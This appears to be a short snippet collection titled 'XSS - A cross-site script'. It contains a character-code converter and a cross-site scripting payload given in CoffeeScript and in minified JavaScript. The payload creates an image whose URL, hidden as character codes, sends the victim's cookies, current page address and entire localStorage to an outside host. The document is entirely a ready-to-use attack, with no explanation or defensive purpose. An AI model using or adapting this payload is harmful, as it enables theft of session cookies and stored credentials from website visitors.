XSS - A cross-site script

chrconverter.js

var chr, codes, i, len, str;
str = "text";
codes = [];
for (i = 0, len = str.length; i < len; i++) {
  chr = str[i];
  codes.push(chr.charCodeAt(0));
}
console.log(codes);

xss.coffee

u = String.fromCharCode.apply this, []
d = document
i = d.createElement "img"
i.src = "#{u}?c=#{d.cookie}&l=#{escape location.toString()}&ls=#{JSON.stringify localStorage }"
d.body.appendChild i

xss.min.js

var d,i,u;u=String.fromCharCode.apply(this,[]),d=document,i=d.createElement("img"),i.src=u+"?c="+d.cookie+"&l="+escape(location.toString())+"&ls="+JSON.stringify(localStorage),d.body.appendChild(i);